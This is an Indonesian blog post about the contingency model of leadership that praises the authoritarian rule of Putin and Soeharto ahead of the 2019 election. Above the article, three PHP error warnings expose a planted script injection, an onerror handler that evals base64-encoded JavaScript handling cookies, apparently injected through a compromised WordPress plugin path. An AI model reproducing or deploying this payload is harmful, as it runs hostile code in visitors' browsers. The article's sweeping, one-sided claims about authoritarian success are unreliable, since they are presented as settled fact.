Contingency Model of Leadership : Sebuah Pelajaran Berharga tentang Kepemimpinan

By | April 3, 2019

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/themes/iconic-one/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAg in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/themes/iconic-one/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAg in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZ in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Great organization is always built by great people. Begitulah prinsip yang harus kita tabalkan untuk membangun organisasi yang tangguh.

Berbicara leadership memang merupakan sebuah narasi yang mencengangkan. Betapa kepemimpinan (leadership) memegang peranan penting dalam kehidupan. Terutama dalam organisasi. Negara sebagai sebuah organisasi yang besar dimana di dalamnya bersemayam jutaan individu dengan berbagai macam perangai dan jutaan potensi serta konflik. Harus dikelola oleh seorang pemimpin yang tangguh. Yang dapat mengelola konflik dan mengumpulkan sejumlah talenta terbaik warganya agar negara menuju kesejahteraan yang mumpuni.

Sang Presiden Rusia, Vladimir Putin di tengah ekonomi yang berkecamuk dan potensi terpecah belah. Tampil sebagai sosok pemimpin yang otoriter, menekankan stabilitas dan kepastian. Persis saat itulah Rusia kembali kepada kejayaannya. Di bawah kepemimpinannya, Putin berhasil menampilkan kejayaan geopolitik Rusia. Rakyat Rusia hidup makmur dan berkecukupan.

Lalu apa rahasianya?

Salah satu pendekatan yang populer dalam teori kepemimpinan yakni pendekatan contingency model of leadership. Ide dasar teori ini adalah efektifas kepemimpinan seseorang tergantung kepada gaya kepemimpinan dengan situasi konteks yang sedang dihadapi. Efektifitas kepemimpinan akan tumbuh mekar bila terjadi keharmonisan antara gaya kepemimpinan dengan karakterisitik tantangan situasi yang dihadapi.

Persis seperti itulah gaya kepemimpinan Putin di situasi negara Rusia tahun 2000-an. Gaya kepemimpinan Putin yang amat menekankan kontrol, tegas, penuh disiplin ternyata cocok diterapkan pada situasi konteks saat itu. Ekonomi Rusia berpotensi terseret ke dalam jurang kehancuran dan berada dalam situasi chaos. Saat itu pula, Putin tampil menawarkan kontrol dan kepastian. Itu bagaikan obat mujarab untuk menggelindingkan roda kemakmuran bagi ekonomi rakyat Rusia.

Dilihat dari luas negara, jumlah penduduk dan potensi konflik sejatinya Indonesia hampir mirip dengan Rusia. Melalui pendekatan alur contingency model of leadership kepemimpinan model Putin bisa jadi lebih cocok bila diterapkan di negeri ini. Sejarah pernah mencatat era kejayaan Soeharto yang pernah meraja di bumi pertiwi hingga 32 tahun lamanya. Di era ini roda ekonomi berjalan lancar. Menggelinding lancar bak roda kendaraan. Urat nadi ekonominya ditopang oleh pembangunan infrastruktur yang demikian masif di sana-sini. Sehingga sang presiden di kala itu mendapati gelar sebagai Bapak Pembangunan.

Dari sisi politik dan keamanan, negara memiliki kontrol penuh. Sehingga jarang ditemui demonstrasi. Rakyat terjamin keamanannya. Di era ini pula Indonesia pernah mendapat julukan sebagai lumbung padi Asia. Sebagai penghasil padi terbesar di wilayah Asia. So powerful. Praktek kepemimpinan Soeharto lebih mirip dengan Putin yang cenderung otoriter, penuh kontrol dan kepastian. Namun hasilnya, praktek pemerintahan dapat dijalankan hampir tidak ada gangguan yang  berarti.

Kwik Kian Gie pernah berpendapat, tipe pemimpin yang dibutuhkan bangsa Indonesia ialah mirip Pak Harto namun MINIM korupsi. Korupsi menjadi biang penyakit yang meruntuhkan kedigdayaan Soeharto waktu itu. Negara sudah sedemikian kuatnya, namun rapuh digerogoti dari dalam oleh penyakit korupsi.

Senyampang dengan Soeharto, Bung Karno malah lebih cetar lagi. Bisa jadi, Pak Harto sebenarnya belajar kepemimpinan dari sang legenda Soekarno. Tegas, cerdas, karismatik, berwibawa, pandai berdiplomasi, memiliki harga diri adalah kesatuan yang melekat di diri Soekarno. Putra Sang Fajar, begitu rakyat Indonesia menamainya.

Pidatonya yang berapi-api berhasil membakar semangat bangsa Indonesia yang tengah mendapat penindasan dari bangsa lain. Karakter inilah yang cocok pada masa itu. Karakter seperti ini juga masih relevan bila diterapkan untuk kondisi bangsa saat ini.

Atau kejeniusan Habibie yang berhasil membalikkan keadaaan ekonomi bangsa yang terseret arus krisis ekonomi. The effective leader, begitu saya menyebutnya.  Pada Januari 1998, rupiah sempat bernilai Rp 14.800 per USD 1, dan paling parah pernah terjadi pada Juni 1998, di mana USD 1 senilai Rp 16.800.

Namun, angka rupiah pada era tersebut mampu dikendalikan Presiden Bacharuddin Jusuf Habibie. Dia berhasil menekan rupiah dari belasan ribu hingga berada di bawah Rp 7.000 jelang akhir masa pemerintahannya.

Model yang sama juga pernah saya dapati di Singapura. Betapa kondisi negara ini begitu teratur. Rakyat di sini hidup berkecukupan. Semua sarana publik telah disiapkan pemerintah. Memang pemerintah Singapura menetapkan syarat yang cukup berat untuk mendapatkan kendaraan pribadi bagi warganya. Namun, bukan berarti pemerintah di sini tutup mata. Sarana transportasi publik diperbanyak dan dengan perawatan yang prima. Sehingga warga negara bisa menggunakannya dengan aman juga nyaman.

Tata cara penyampaian aspirasi pun dijaga ketat sehingga tidak menimbulkan chaos bagi negara. Rakyat boleh mengkritik. Pemerintah pun wajib mempertimbangkan kritikan dari rakyat. Saya belum mendengar ada demo di negara ini.

See, betapa kepemimpinan sangat berpengaruh pada kuat lemahnya negara.

Harapan saya, rakyat Indonesia bisa menemukan kembali sosok pemimpin yang hilang. Sejarah sudah mencatatkan berbagai sepak terjang masing-masing pemimpin dengan masing-masing problematika beserta masing-masing buktinya.

So, tanggal 17 April nanti siapa yang akan kau pilih?

Photo by Riccardo Annandale on Unsplash

NOTE :
Mau update artikel-artikel mencerahkan melalui smartphone seperti yang barusan Anda baca? Langsung saja save + invite nomor WA saya di 0856 9974 568. Bagi yang invite saya akan bagikan BONUS sebuah free ebook atau audiobook. TINGGAL PILIH. Dua-duanya keren koq.

2 thoughts on “Contingency Model of Leadership : Sebuah Pelajaran Berharga tentang Kepemimpinan

  1. Rendra Purwanto

    Luar biasa artikelnya. Sedikit masukkan saja… Seorang pemimpin ibarat seorang sopir bus atau nakhoda kapal laut. Dia tidak harus pandai dan ahli dalam menyetir atau pelaut ulung tetapi dia harus mempunyai tujuan dan arah yang jelas serta siapa saja penumpang yang harus di bawa dalam rombongannya..

    Reply
    1. Agus Kurnia S Post author

      Terimakasih sudah mampir di blog ini pak.
      Thanks buat masukannya. Masukan yg berasal dari seorang leader.
      Sepertinya kisah hidupnya bakal jadi the next article nih.
      Sukses selalu pak.

      Reply

Leave a Reply

Your email address will not be published. Required fields are marked *